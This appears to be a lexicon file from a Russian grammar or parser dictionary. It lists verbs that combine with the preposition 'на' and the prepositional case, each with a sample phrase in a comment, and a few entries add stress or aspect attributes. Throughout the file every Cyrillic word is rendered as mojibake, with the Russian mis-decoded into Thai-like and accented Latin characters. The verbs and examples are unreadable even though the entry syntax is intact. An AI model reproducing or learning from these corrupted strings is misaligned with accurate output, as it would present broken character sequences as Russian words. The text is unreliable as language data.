rus_verbs:ะณัะตัััั{}, // ะณัะตัััั ะฝะฐ ะฒะพะบะทะฐะปะต
rus_verbs:ะทะฐัะธะดะตัััั{}, // ะทะฐัะธะดะตัััั ะฝะฐ ะพะดะฝะพะผ ะผะตััะต
rus_verbs:ะผะฐัะตัะธะฐะปะธะทะพะฒะฐัััั{}, // ะผะฐัะตัะธะฐะปะธะทะพะฒะฐัััั ะฝะฐ ะณัะฐะฝะธัะต
rus_verbs:ัะฐััะตะธะฒะฐัััั{}, // ัะฐััะตะธะฒะฐัััั ะฝะฐ ะฒััะพัะต ะฒะตััะธะฝ
rus_verbs:ะฟะตัะตะฒะพะทะธัั{}, // ะฟะตัะตะฒะพะทะธัั ะฝะฐ ะฟะปะฐััะพัะผะต
rus_verbs:ะฟะพะธะณัะฐัั{}, // ะฟะพะธะณัะฐัั ะฝะฐ ัะบัะธะฟะบะต
rus_verbs:ะฟะพัะพะฟัะฐัััั{}, // ะฟะพัะพะฟัะฐัััั ะฝะฐ ะพะดะฝะพะผ ะผะตััะต
rus_verbs:ะฟะตัะตะฟัะฐะฒะธัััั{}, // ะฟะตัะตะฟัะฐะฒะธัััั ะฝะฐ ะฟะปะพัั
rus_verbs:ะทะฐะฑัะตะทะถะธัั{}, // ะทะฐะฑัะตะทะถะธัั ะฝะฐ ะณะพัะธะทะพะฝัะต
rus_verbs:ะทะฐะฒัะฒะฐัั{}, // ะทะฐะฒัะฒะฐัั ะฝะฐ ะพะฟััะบะต
rus_verbs:ะทะฐะฒะฐัะธะฒะฐัั{}, // ะทะฐะฒะฐัะธะฒะฐัั ะฝะฐ ะบัั
ะพะฝัะบะต
rus_verbs:ะฟะตัะตะผะตัะฐัััั{}, // ะฟะตัะตะผะตัะฐัััั ะฝะฐ ัะฟะฐัะฐัะตะปัะฝะพะผ ะฟะปะพัั
ะธะฝัะธะฝะธัะธะฒ:ะฟะธัะฐัััั{ aux stress="ะฟะธั^ะฐัััั" }, ะณะปะฐะณะพะป:ะฟะธัะฐัััั{ aux stress="ะฟะธั^ะฐัััั" }, // ะฟะธัะฐัััั ะฝะฐ ะฑะปะฐะฝะบะต
rus_verbs:ะฟัะฐะทะดะฝะพะฒะฐัั{}, // ะฟัะฐะทะดะฝะพะฒะฐัั ะฝะฐ ัะปะธัะฐั
rus_verbs:ะพะฑััะธัั{}, // ะพะฑััะธัั ะฝะฐ ะบะพััะต
rus_verbs:ะพััะดะพะฒะฐัั{}, // ะพััะดะพะฒะฐัั ะฝะฐ ัะบะปะฐะดะต
rus_verbs:ะฟะพะดัะฐััะธ{}, // ะฟะพะดัะฐััะธ ะฝะฐ ะณะปัะดะบะต
rus_verbs:ัะตะปะตััะตัั{}, // ัะตะปะตััะตัั ะฝะฐ ะฒะตััั
rus_verbs:ัะฐะทะดะตะฒะฐัััั{}, // ัะฐะทะดะตะฒะฐัััั ะฝะฐ ะฟัะฑะปะธะบะต
rus_verbs:ะฟะพะพะฑะตะดะฐัั{}, // ะฟะพะพะฑะตะดะฐัั ะฝะฐ ะณะฐะทะพะฝะต
rus_verbs:ะถัะฐัั{}, // ะถัะฐัั ะฝะฐ ะฟะพะผะพะนะบะต
rus_verbs:ะธัะฟะพะปะฝััััั{}, // ะธัะฟะพะปะฝััััั ะฝะฐ ัะปะตะนัะต
rus_verbs:ะฟะพั
ะพะปะพะดะฐัั{}, // ะฟะพั
ะพะปะพะดะฐัั ะฝะฐ ัะปะธัะต
rus_verbs:ะณะฝะธัั{}, // ะณะฝะธัั ะฝะฐ ะบะฐัะพัะณะต
rus_verbs:ะฟัะพัะปััะฐัั{}, // ะฟัะพัะปััะฐัั ะฝะฐ ะบะพะฝัะตััะต
rus_verbs:ัะพะฒะตัะฐัััั{}, // ัะพะฒะตัะฐัััั ะฝะฐ ะทะฐัะตะดะฐะฝะธะธ
rus_verbs:ะฟะพะบะฐัะธะฒะฐัั{}, // ะฟะพะบะฐัะธะฒะฐัั ะฝะฐ ะฒะพะปะฝะฐั
rus_verbs:ะพััะธะดะตัั{}, // ะพััะธะดะตัั ะฝะฐ ะณะฐัะฟะฒะฐั
ัะต
rus_verbs:ัะพัะผะธัะพะฒะฐัั{}, // ัะพัะผะธัะพะฒะฐัั ะฝะฐ ัะตะบัะตัะฝะพะน ะฑะฐะทะต
rus_verbs:ะทะฐั
ัะฐะฟะตัั{}, // ะทะฐั
ัะฐะฟะตัั ะฝะฐ ะบัะพะฒะฐัะธ
rus_verbs:ะพะฑัะตั
ะฐัั{}, // ะพะฑัะตั
ะฐัั ะฝะฐ ะฟะพะฟััะบะต
rus_verbs:ะฟะพัะตะปะธัั{}, // ะฟะพัะตะปะธัั ะฝะฐ ะฒะตัั
ะฝะธั
ััะฐะถะฐั
rus_verbs:ะทะฐะฒะพัะพัะฐัััั{}, // ะทะฐะฒะพัะพัะฐัััั ะฝะฐ ัะตะฝะต
rus_verbs:ะฝะฐะฟัััะฐัั{}, // ะฝะฐะฟัััะฐัั ะฝะฐ ัะตะปะต
rus_verbs:ะพััั
ะฐัััั{}, // ะพััั
ะฐัััั ะฝะฐ ะทะตะผะปะต
rus_verbs:ะฟะพะปะธััะฐัั{}, // ะฟะพะปะธััะฐัั ะฝะฐ ะดะพััะณะต
rus_verbs:ะทะฐะฒะตััะตัั{}, // ะทะฐะฒะตััะตัั ะฝะฐ ัะตััะต
rus_verbs:ะฟะตัะฐัะฐัั{}, // ะฟะตัะฐัะฐัั ะฝะฐ ะฝะพััะต
rus_verbs:ะพัััะบะฐัััั{}, // ะพัััะบะฐัััั ะฝะฐ ัะบะปะฐะดะต
rus_verbs:ะทะฐัะธะบัะธัะพะฒะฐัั{}, // ะทะฐัะธะบัะธัะพะฒะฐัั ะฝะฐ ะฟะปะตะฝะบะต
rus_verbs:ัะฐัััะธะปะฐัััั{}, // ัะฐัััะธะปะฐัััั ะฝะฐ ััะพะปะต
rus_verbs:ะทะฐะผะตััะธัั{}, // ะทะฐะผะตััะธัั ะฝะฐ ะฟะพััั
rus_verbs:ัะณะฐัะฐัั{}, // ัะณะฐัะฐัั ะฝะฐ ะฝะตัะฟัะฐะฒะปัะตะผะพะผ ะบะพัะฐะฑะปะต
rus_verbs:ััะฐะทะธัั{}, // ััะฐะทะธัั ะฝะฐ ัะธะฝะณะต
rus_verbs:ัะฐัะฟะปัะฒะฐัััั{}, // ัะฐัะฟะปัะฒะฐัััั ะฝะฐ ะถะฐัะต
rus_verbs:ัะพััะธัะฐัั{}, // ัะพััะธัะฐัั ะฝะฐ ะฟะฐะปััะฐั
rus_verbs:ัะณัััะธัััั{}, // ัะณัััะธัััั ะฝะฐ ะฝะตะฑะพะปััะพะน ะฒััะพัะต
rus_verbs:ัะธัะธัะพะฒะฐัั{}, // ัะธัะธัะพะฒะฐัั ะฝะฐ ะฟะปะธัะต
rus_verbs:ะพัะธะตะฝัะธัะพะฒะฐัััั{}, // ะพัะธะตะฝัะธัะพะฒะฐัััั ะฝะฐ ะผะตััะฝะพััะธ
rus_verbs:ัะฐััะธัะธัั{}, // ัะฐััะธัะธัั ะฝะฐ ะดััะณะพะผ ะบะพะฝัะต
rus_verbs:ะพะฑัะตัะตัั{}, // ะพะฑัะตัะตัั ะฝะฐ ััะพัะฝะบะต
rus_verbs:ะฟะพะดัััะตะปะธัั{}, // ะฟะพะดัััะตะปะธัั ะฝะฐ ะพั
ะพัะต
rus_verbs:ัะฐััะตัะตัั{}, // ัะฐััะตัะตัั ะฝะฐ ัะฒะตัะดะพะน ะฟะพะฒะตัั
ะฝะพััะธ
rus_verbs:ะฟะพะดะฐะฒะปััั{}, // ะฟะพะดะฐะฒะปััั ะฝะฐ ะฟะตัะฒะพะผ ััะฐะฟะต
rus_verbs:ัะผะตัะธะฒะฐัััั{}, // ัะผะตัะธะฒะฐัััั ะฝะฐ ะฟะพะฒะตัั
ะฝะพััะธ
// ะธะฝัะธะฝะธัะธะฒ:ะฒััะธัะฐัั{ aux stress="ะฒ^ััะธัะฐัั" }, ะณะปะฐะณะพะป:ะฒััะธัะฐัั{ aux stress="ะฒ^ััะธัะฐัั" }, // ะฒััะธัะฐัั ะฝะฐ ัะฐะนัะต
// ะดะตะตะฟัะธัะฐััะธะต:ะฒััะธัะฐะฒ{},
rus_verbs:ัะพะบัะฐัะธัััั{}, // ัะพะบัะฐัะธัััั ะฝะฐ ะฒัะพัะพะผ ััะฐะฟะต
rus_verbs:ะทะฐะฝะตัะฒะฝะธัะฐัั{}, // ะทะฐะฝะตัะฒะฝะธัะฐัั ะฝะฐ ัะบะทะฐะผะตะฝะต
rus_verbs:ัะพะฟัะธะบะพัะฝััััั{}, // ัะพะฟัะธะบะพัะฝััััั ะฝะฐ ััะฐััะต
rus_verbs:ะพะฑะพะทะฝะฐัะธัั{}, // ะพะฑะพะทะฝะฐัะธัั ะฝะฐ ะฟะปะฐะฝะต
rus_verbs:ะพะฑััะฐัััั{}, // ะพะฑััะฐัััั ะฝะฐ ะฟัะพะธะทะฒะพะดััะฒะต
rus_verbs:ัะฝะธะทะธัััั{}, // ัะฝะธะทะธัััั ะฝะฐ ะฑะพะปััะพะน ะฒััะพัะต
rus_verbs:ะฟัะพัััะดะธัััั{}, // ะฟัะพัััะดะธัััั ะฝะฐ ะฒะตััั
rus_verbs:ะฟะพะดะดะตัะถะธะฒะฐัััั{}, // ะฟะพะดะดะตัะถะธะฒะฐะตััั ะฝะฐ ะฒัััะตัะต
rus_verbs:ัะฟะปััั{}, // ัะฟะปััั ะฝะฐ ะปะพะดะพัะบะต
rus_verbs:ัะตะทะฒะธัััั{}, // ัะตะทะฒะธัััั ะฝะฐ ะฟะตัะพัะบะต
rus_verbs:ะฟะพะตัะทะฐัั{}, // ะฟะพะตัะทะฐัั ะฝะฐ ัะบะฐะผะตะตัะบะต
rus_verbs:ะฟะพั
ะฒะฐััะฐัััั{}, // ะฟะพั
ะฒะฐััะฐัััั ะฝะฐ ะฒัััะตัะต
rus_verbs:ะทะฝะฐะบะพะผะธัััั{}, // ะทะฝะฐะบะพะผะธัััั ะฝะฐ ััะพะบะต
rus_verbs:ะฟัะพะฟะปัะฒะฐัั{}, // ะฟัะพะฟะปัะฒะฐัั ะฝะฐ ะบะฐัะตัะต
rus_verbs:ะทะฐัะตััั{}, // ะทะฐัะตััั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ะฟะพะดัะตะฟะธัั{}, // ะฟะพะดัะตะฟะธัั ะฝะฐ ะดะธัะบะพัะตะบะต
rus_verbs:ะพะฑััะบะฐัั{}, // ะพะฑััะบะฐัั ะฝะฐ ะฒั
ะพะดะต
rus_verbs:ะพะฟัะฐะฒะดะฐัััั{}, // ะพะฟัะฐะฒะดะฐัััั ะฝะฐ ััะดะต
rus_verbs:ัะฐัะบััะฒะฐัััั{}, // ัะฐัะบััะฒะฐัััั ะฝะฐ ััะตะฝะต
rus_verbs:ะพะดะตะฒะฐัััั{}, // ะพะดะตะฒะฐัััั ะฝะฐ ะฒะตัะตะฒะพะผ ััะฝะบะต
rus_verbs:ะทะฐัะฒะตัะธัััั{}, // ะทะฐัะฒะตัะธัััั ะฝะฐ ัะพัะพะณัะฐัะธัั
rus_verbs:ัะฟะพััะตะฑะปััััั{}, // ัะฟะพััะตะฑะปััััั ะฝะฐ ะฟัะธัะตัะฐะฑัะธะบะฐั
rus_verbs:ะณัะฐะฑะธัั{}, // ะณัะฐะฑะธัั ะฝะฐ ะฟัััััะต
rus_verbs:ะณะพะฝััั{}, // ะณะพะฝััั ะฝะฐ ะฟะพะฒััะตะฝะฝัั
ะพะฑะพัะพัะฐั
rus_verbs:ัะฐะทะฒะตะฒะฐัััั{}, // ัะฐะทะฒะตะฒะฐัััั ะฝะฐ ะดัะตะฒะบะต
rus_verbs:ะพัะฝะพะฒัะฒะฐัััั{}, // ะพัะฝะพะฒัะฒะฐัััั ะฝะฐ ะฑะตะทััะปะพะฒะฝัั
ัะฐะบัะฐั
rus_verbs:ะดะพะฟัะฐัะธะฒะฐัั{}, // ะดะพะฟัะฐัะธะฒะฐัั ะฝะฐ ะฑะฐะทะต
rus_verbs:ะฟัะพัะฐะฑะพัะฐัั{}, // ะฟัะพัะฐะฑะพัะฐัั ะฝะฐ ัััะพะนะบะต
rus_verbs:ัะพััะตะดะพัะพัะธัั{}, // ัะพััะตะดะพัะพัะธัั ะฝะฐ ะผะตััะต
rus_verbs:ัะพัะธะฝััั{}, // ัะพัะธะฝััั ะฝะฐ ั
ะพะดั
rus_verbs:ะฟะพะปะทะฐัั{}, // ะฟะพะปะทะฐัั ะฝะฐ ะบะฐะผะฝะต
rus_verbs:ัะฐัะบะธะฝััััั{}, // ัะฐัะบะธะฝััััั ะฝะฐ ะฟัััััะต
rus_verbs:ัััะฐะฒะฐัั{}, // ัััะฐะฒะฐัั ะฝะฐ ัะฐะฑะพัะต
rus_verbs:ัะบัะตะฟะธัั{}, // ัะบัะตะฟะธัั ะฝะฐ ะบะพะฝัะต
rus_verbs:ะพะฑัะฐะทะพะฒัะฒะฐัั{}, // ะพะฑัะฐะทะพะฒัะฒะฐัั ะฝะฐ ะพัะบัััะพะผ ะฒะพะทะดัั
ะต ะฒะทััะฒะพะพะฟะฐัะฝัั ัะผะตัั
rus_verbs:ะพะดะพะฑัััั{}, // ะพะดะพะฑัััั ะฝะฐ ัะปะพะฒะฐั
rus_verbs:ะฟัะธะณะพะฒะพัะธัั{}, // ะฟัะธะณะพะฒะพัะธัั ะฝะฐ ะทะฐัะตะดะฐะฝะธะธ ััะพะนะบะธ
rus_verbs:ัะตัะฝะตัั{}, // ัะตัะฝะตัั ะฝะฐ ัะฒะตัั
rus_verbs:ะณะฝััั{}, // ะณะฝััั ะฝะฐ ััะฐะฝะบะต
rus_verbs:ัะฐะทะผะตัะฐัััั{}, // ัะฐะทะผะตัะฐัััั ะฝะฐ ะฑะธัะถะต
rus_verbs:ัะพะพััะดะธัั{}, // ัะพะพััะดะธัั ะฝะฐ ะดะฐัะต
rus_verbs:ะฟะฐััะธัั{}, // ะฟะฐััะธัั ะฝะฐ ะปัะณั
rus_verbs:ัะพัะผะธัะพะฒะฐัััั{}, // ัะพัะผะธัะพะฒะฐัััั ะฝะฐ ะดะฝะต
rus_verbs:ัะฐะธัั{}, // ัะฐะธัั ะฝะฐ ะดะฝะต
rus_verbs:ะฟัะธะพััะฐะฝะพะฒะธัััั{}, // ะฟัะธะพััะฐะฝะพะฒะธัััั ะฝะฐ ัะตัะตะดะธะฝะต
rus_verbs:ัะพะฟัะฐัััั{}, // ัะพะฟัะฐัััั ะฝะฐ ะผะตััะต
rus_verbs:ะณัะพะผะธัั{}, // ะณัะพะผะธัั ะฝะฐ ะฟะพะดัััะฟะฐั
rus_verbs:ะฒััะธัะปะธัั{}, // ะฒััะธัะปะธัั ะฝะฐ ะฑัะผะฐะถะบะต
rus_verbs:ะทะฐะบะฐะทัะฒะฐัั{}, // ะทะฐะบะฐะทัะฒะฐัั ะฝะฐ ัะฐะนัะต
rus_verbs:ะพัััะตััะฒะธัั{}, // ะพัััะตััะฒะธัั ะฝะฐ ะฟัะฐะบัะธะบะต
rus_verbs:ะพะฑะพัะฝะพะฒะฐัััั{}, // ะพะฑะพัะฝะพะฒะฐัััั ะฝะฐ ะฒะตัั
ััะบะต
rus_verbs:ะฟััะฐัั{}, // ะฟััะฐัั ะฝะฐ ัะปะตะบััะธัะตัะบะพะผ ัััะปะต
rus_verbs:ัะพะฒะตััะธัััั{}, // ัะพะฒะตััะธัััั ะฝะฐ ะทะฐัะตะดะฐะฝะธะธ
rus_verbs:ัะฒะตัะฝััััั{}, // ัะฒะตัะฝััััั ะฝะฐ ะผะตะดะปะตะฝะฝะพะผ ะพะณะฝะต
rus_verbs:ะฟัะพะปะตัะฐัั{}, // ะฟัะพะปะตัะฐัั ะฝะฐ ะดะตะปััะฐะฟะปะฐะฝะต
rus_verbs:ัะฑััััั{}, // ัะฑััััั ะฝะฐ ัะฐะผะพะผ ะดะตะปะต
rus_verbs:ัะฐะทะณะพะฒะพัะธัััั{}, // ัะฐะทะณะพะฒะพัะธัััั ะฝะฐ ััะพะบะต
rus_verbs:ัะฐะทะฒะพัะฐัะธะฒะฐัััั{}, // ัะฐะทะฒะพัะฐัะธะฒะฐัััั ะฝะฐ ะฟะตัะตะบัะตััะบะต
rus_verbs:ะฟัะตะฟะพะดะฝะตััะธ{}, // ะฟัะตะฟะพะดะฝะตััะธ ะฝะฐ ะฑะปัะดะตัะบะต
rus_verbs:ะฝะฐะฟะตัะฐัะฐัั{}, // ะฝะฐะฟะตัะฐัะฐัั ะฝะฐ ะปะฐะทะตัะฝะธะบะต
rus_verbs:ะฟัะพัะฒะฐัั{}, // ะฟัะพัะฒะฐัั ะฝะฐ ะฟะตัะธัะตัะธะธ
rus_verbs:ัะฐัะบะฐัะธะฒะฐัััั{}, // ัะฐัะบะฐัะธะฒะฐัััั ะฝะฐ ะดะพัะบะต
rus_verbs:ะทะฐะดะตัะถะธะฒะฐัััั{}, // ะทะฐะดะตัะถะธะฒะฐัััั ะฝะฐ ััะฐััะต
rus_verbs:ัะณะพัะฐัั{}, // ัะณะพัะฐัั ะฝะฐ ะฒะตัะตัะธะฝะบะต
rus_verbs:ัะฐัะธัั{}, // ัะฐัะธัั ะฝะฐ ััะพะปะต
rus_verbs:ัะฒะตะปะธัะธะฒะฐัั{}, // ัะฒะตะปะธัะธะฒะฐัั ะฝะฐ ะฟะตัะฒะพะผ ััะฐะฟะต
rus_verbs:ัะตั
ะฝััััั{}, // ัะตั
ะฝััััั ะฝะฐ ััะฐัะพััะธ ะปะตั
rus_verbs:ัะฐััะฒะตััะธ{}, // ัะฐััะฒะตััะธ ะฝะฐ ะณััะดะบะต
rus_verbs:ะทะฐะบะธะฟะตัั{}, // ะทะฐะบะธะฟะตัั ะฝะฐ ะฟะปะธัะต
rus_verbs:ะฟะพะดะปะตัะตัั{}, // ะฟะพะดะปะตัะตัั ะฝะฐ ะฟะฐัะฐะฟะปะฐะฝะต
rus_verbs:ัััััั{}, // ัััััั ะฝะฐ ัะฒะฐะปะบะต
rus_verbs:ะดะพะฑะธัะฐัััั{}, // ะดะพะฑะธัะฐัััั ะฝะฐ ะฟะพะฟััะบะฐั
rus_verbs:ะฟัะพะดะตัะถะฐัััั{}, // ะฟัะพะดะตัะถะฐัััั ะฝะฐ ะฒะตััะธะฝะต
rus_verbs:ัะฐะทััะบะธะฒะฐัั{}, // ัะฐะทััะบะธะฒะฐัั ะฝะฐ ะฒัััะฐะฒะบะฐั
rus_verbs:ะพัะฒะพะฑะพะถะดะฐัั{}, // ะพัะฒะพะฑะพะถะดะฐัั ะฝะฐ ะทะฐัะตะดะฐะฝะธะธ
rus_verbs:ะฟะตัะตะดะฒะธะณะฐัััั{}, // ะฟะตัะตะดะฒะธะณะฐัััั ะฝะฐ ัะฐะผะพะบะฐัะต
rus_verbs:ะฟัะพัะฒะธัััั{}, // ะฟัะพัะฒะธัััั ะฝะฐ ัะฒะตัั
rus_verbs:ะทะฐัะบะพะปัะทะธัั{}, // ะทะฐัะบะพะปัะทะธัั ะฝะฐ ะปัะดั
rus_verbs:ะฟะตัะตัะบะฐะทะฐัั{}, // ะฟะตัะตัะบะฐะทะฐัั ะฝะฐ ััะตะฝะต ัััะดะตะฝัะตัะบะพะณะพ ัะตะฐััะฐ
rus_verbs:ะฟัะพัะตััะพะฒะฐัั{}, // ะฟัะพัะตััะพะฒะฐัั ะฝะฐ ัะปะธัะต
rus_verbs:ัะบะฐะทัะฒะฐัััั{}, // ัะบะฐะทัะฒะฐัััั ะฝะฐ ัะฐะฑะปะธัะบะฐั
rus_verbs:ะฟัะธัะบะฐะบะฐัั{}, // ะฟัะธัะบะฐะบะฐัั ะฝะฐ ะปะพัะฐะดะบะต
rus_verbs:ะบะพะฟะพัะธัััั{}, // ะบะพะฟะพัะธัััั ะฝะฐ ัะฒะตะถะตะผ ะฒะพะทะดัั
ะต
rus_verbs:ะฟะพะดััะธัะฐัั{}, // ะฟะพะดััะธัะฐัั ะฝะฐ ะฑัะผะฐะถะบะต
rus_verbs:ัะฐะทะฒะพะปะฝะพะฒะฐัััั{}, // ัะฐะทะฒะพะปะฝะพะฒะฐัััั ะฝะฐ ัะบะทะฐะผะตะฝะต
rus_verbs:ะทะฐะฒะตััะตัััั{}, // ะทะฐะฒะตััะตัััั ะฝะฐ ะฟะพะปั
rus_verbs:ะพะทะฝะฐะบะพะผะธัััั{}, // ะพะทะฝะฐะบะพะผะธัััั ะฝะฐ ั
ะพะดั
rus_verbs:ัะถะฐัั{}, // ัะถะฐัั ะฝะฐ ััะพะบะต
rus_verbs:ัะฐัะบะธะฝััั{}, // ัะฐัะบะธะฝััั ะฝะฐ ะณััะดะบะฐั
rus_verbs:ัะฐะทะณัะพะผะธัั{}, // ัะฐะทะณัะพะผะธัั ะฝะฐ ัะธะฝะณะต
rus_verbs:ะฟะพะดัะปััะฐัั{}, // ะฟะพะดัะปััะฐัั ะฝะฐ ัะพะฒะตัะฐะฝะธะธ
rus_verbs:ะพะฟะธััะฒะฐัััั{}, // ะพะฟะธััะฒะฐัััั ะฝะฐ ัััะฐะฝะธัะฐั
ะบะฝะธะณะธ
rus_verbs:ะบะฐัะฐัััั{}, // ะบะฐัะฐัััั ะฝะฐ ัััะปะต
rus_verbs:ััะธะปะธัั{}, // ััะธะปะธัั ะฝะฐ ัะปะฐะฝะณะฐั
rus_verbs:ะฝะฐะฑัะพัะฐัั{}, // ะฝะฐะฑัะพัะฐัั ะฝะฐ ะบะปะพัะบะต ะบะฐััะพะฝะฐ
rus_verbs:ัะฐััััะตะปะธะฒะฐัั{}, // ัะฐััััะตะปะธะฒะฐัั ะฝะฐ ะฟะพะดั
ะพะดะต
rus_verbs:ะทะฐะฟััะณะฐัั{}, // ะทะฐะฟััะณะฐัั ะฝะฐ ะพะดะฝะพะน ะฝะพะณะต
rus_verbs:ัััะบะฐัั{}, // ัััะบะฐัั ะฝะฐ ััะถะฑะธะฝะต
rus_verbs:ะฟะพะดัะฒะตัะดะธัััั{}, // ะฟะพะดัะฒะตัะดะธัััั ะฝะฐ ะฟัะฐะบัะธะบะต
rus_verbs:ะฟะปะตัะบะฐัััั{}, // ะฟะปะตัะบะฐัััั ะฝะฐ ะผะตะปะบะพะฒะพะดัะต
rus_verbs:ัะฐััะธัััััั{}, // ัะฐััะธัััััั ะฝะฐ ะบะพะฝัะต
rus_verbs:ะฟะพะดะตัะถะฐัั{}, // ะฟะพะดะตัะถะฐัั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ะฟะปะฐะฝะธัะพะฒะฐัััั{}, // ะฟะปะฐะฝะธัะพะฒะฐัััั ะฝะฐ ะพะฑัะตะผ ัะพะฑัะฐะฝะธะธ
rus_verbs:ัะณะธะฝััั{}, // ัะณะธะฝััั ะฝะฐ ััะถะฑะธะฝะต
rus_verbs:ะทะฐะผะบะฝััััั{}, // ะทะฐะผะบะฝััััั ะฝะฐ ัะพัะบะต
rus_verbs:ะทะฐะบะฐัะฐัััั{}, // ะทะฐะบะฐัะฐัััั ะฝะฐ ะฒะตััั
rus_verbs:ะฟะตัะตัะธััะฒะฐัั{}, // ะฟะตัะตัะธััะฒะฐัั ะฝะฐ ั
ะพะดั
rus_verbs:ะฟะตัะตะปะตัะตัั{}, // ะฟะตัะตะปะตัะตัั ะฝะฐ ะดะตะปััะฐะฟะปะฐะฝะต
rus_verbs:ะพะถะธะฒะฐัั{}, // ะพะถะธะฒะฐัั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ะถะตะฝะธัั{}, // ะถะตะฝะธัั ะฝะฐ ะฑะพะณะฐัะพะน ะฝะตะฒะตััะต
rus_verbs:ะทะฐะณะปะพั
ะฝััั{}, // ะทะฐะณะปะพั
ะฝััั ะฝะฐ ััะฐััะต
rus_verbs:ะบะพะฟะฐัััั{}, // ะบะพะฟะฐัััั ะฝะฐ ะฟะพะปั
rus_verbs:ัะฐะทะฒะปะตะบะฐัััั{}, // ัะฐะทะฒะปะตะบะฐัััั ะฝะฐ ะดะธัะบะพัะตะบะต
rus_verbs:ะฟะตัะฐัะฐัััั{}, // ะฟะตัะฐัะฐัััั ะฝะฐ ััััะนะฝะพะผ ะฟัะธะฝัะตัะต
rus_verbs:ะพะฑััะฒะฐัััั{}, // ะพะฑััะฒะฐัััั ะฝะฐ ะฟะพะปััะปะพะฒะต
rus_verbs:ััะบะฐะบะฐัั{}, // ััะบะฐะบะฐัั ะฝะฐ ะปะพัะฐะดะบะต
rus_verbs:ะฟะพะดะฟะธััะฒะฐัั{}, // ะฟะพะดะฟะธััะฒะฐัั ะฝะฐ ััะพะปะต
rus_verbs:ะดะพะฑัะฒะฐัั{}, // ะดะพะฑัะฒะฐัั ะฝะฐ ะฒััะฐะฑะพัะบะต
rus_verbs:ัะบะพะฟะธัััั{}, // ัะบะพะฟะธัััั ะฝะฐ ะฒัั
ะพะดะต
rus_verbs:ะฟะพะฒัััะตัะฐัั{}, // ะฟะพะฒัััะตัะฐัั ะฝะฐ ะฟััะธ
rus_verbs:ะฟะพัะตะปะพะฒะฐัััั{}, // ะฟะพัะตะปะพะฒะฐัััั ะฝะฐ ะฟะปะพัะฐะดะธ
rus_verbs:ัะฐัััะฝััั{}, // ัะฐัััะฝััั ะฝะฐ ััะพะปะต
rus_verbs:ะฟะพะดะฐะฒะฐัััั{}, // ะฟะพะดะฐะฒะฐัััั ะฝะฐ ะฑะปะฐะณะพัะฒะพัะธัะตะปัะฝะพะผ ะพะฑะตะดะต
rus_verbs:ะฟะพะฒัััะตัะฐัััั{}, // ะฟะพะฒัััะตัะฐัััั ะฝะฐ ะผะธัะธะฝะณะต
rus_verbs:ะฟัะธะผะพััะธัััั{}, // ะฟัะธะผะพััะธัััั ะฝะฐ ัััะฟะตะฝัะบะฐั
rus_verbs:ะพััะฐะทะธัั{}, // ะพััะฐะทะธัั ะฝะฐ ัััะฐะฝะธัะฐั
ะดะพะบะปะฐะดะฐ
rus_verbs:ะฟะพััะฝััั{}, // ะฟะพััะฝััั ะฝะฐ ัััะฐะฝะธัะฐั
ะฟัะธะปะพะถะตะฝะธั
rus_verbs:ะฝะฐะบะพัะผะธัั{}, // ะฝะฐะบะพัะผะธัั ะฝะฐ ะบัั
ะฝะต
rus_verbs:ะฟะพัะถะธะฝะฐัั{}, // ะฟะพัะถะธะฝะฐัั ะฝะฐ ะฒะตัะฐะฝะดะต
ะธะฝัะธะฝะธัะธะฒ:ัะฟะตัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะฟะตัั{ ะฒะธะด:ัะพะฒะตัั }, // ัะฟะตัั ะฝะฐ ะผะธัะธะฝะณะต
ะดะตะตะฟัะธัะฐััะธะต:ัะฟะตะฒ{},
ะธะฝัะธะฝะธัะธะฒ:ัะฟะตัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะฟะตัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
rus_verbs:ัะพะฟะธัั{}, // ัะพะฟะธัั ะฝะฐ ะผะตะปะบะพะฒะพะดัะต
rus_verbs:ะพัะฒะพะธัั{}, // ะพัะฒะพะธัั ะฝะฐ ะฟัะฐะบัะธะบะต
rus_verbs:ัะฐัะฟะปะฐััะฐัััั{}, // ัะฐัะฟะปะฐััะฐัััั ะฝะฐ ััะฐะฒะบะต
rus_verbs:ะพัะฟะปััั{}, // ะพัะฟะปััั ะฝะฐ ััะฐัะพะผ ะบะฐัะบะต
rus_verbs:ัะปะตัะฐัั{}, // ัะปะตัะฐัั ะฝะฐ ะปัะฑะพะผ ัะฐะผะพะปะตัะต
rus_verbs:ะพัััะฐะธะฒะฐัั{}, // ะพัััะฐะธะฒะฐัั ะฝะฐ ะบะพััะต
rus_verbs:ะพััะถะดะฐัั{}, // ะพััะถะดะฐัั ะฝะฐ ัะปะพะฒะฐั
rus_verbs:ะฟะตัะตะณะพะฒะพัะธัั{}, // ะฟะตัะตะณะพะฒะพัะธัั ะฝะฐ ะพะฑะตะดะต
rus_verbs:ัะบัััั{}, // ัะบัััั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ัะพะผะธัััั{}, // ัะพะผะธัััั ะฝะฐ ะฟัะธะฒัะทะธ
rus_verbs:ัะถะธะณะฐัั{}, // ัะถะธะณะฐัั ะฝะฐ ะฟะพะปะธะณะพะฝะต
rus_verbs:ะฟะพะทะฐะฒััะฐะบะฐัั{}, // ะฟะพะทะฐะฒััะฐะบะฐัั ะฝะฐ ะปะพะฝะต ะฟัะธัะพะดั
rus_verbs:ััะฝะบัะธะพะฝะธัะพะฒะฐัั{}, // ััะฝะบัะธะพะฝะธััะตั ะฝะฐ ัะพะปะฝะตัะฝะพะน ัะฝะตัะณะธะธ
rus_verbs:ัะฐะทะผะตััะธัั{}, // ัะฐะทะผะตััะธัั ะฝะฐ ัะฐะนัะต
rus_verbs:ะฟัะพะฝะตััะธ{}, // ะฟัะพะฝะตััะธ ะฝะฐ ัะตะปะต
rus_verbs:ะฝะฐัะฐัะธัั{}, // ะฝะฐัะฐัะธัั ะฝะฐ ััะพะปะต
rus_verbs:ะบะพััะธัััั{}, // ะบะพััะธัััั ะฝะฐ ะฟะพะปั
rus_verbs:ัะฐัะฟะพะทะฝะฐัั{}, // ัะฐัะฟะพะทะฝะฐัั ะฝะฐ ัะฝะธะผะบะต
rus_verbs:ะฟะพะฒะตัะธัััั{}, // ะฟะพะฒะตัะธัััั ะฝะฐ ัะฝััะต
rus_verbs:ะพะฑะพะทะฝะฐัะธัััั{}, // ะพะฑะพะทะฝะฐัะธัััั ะฝะฐ ะบะฐััะฐั
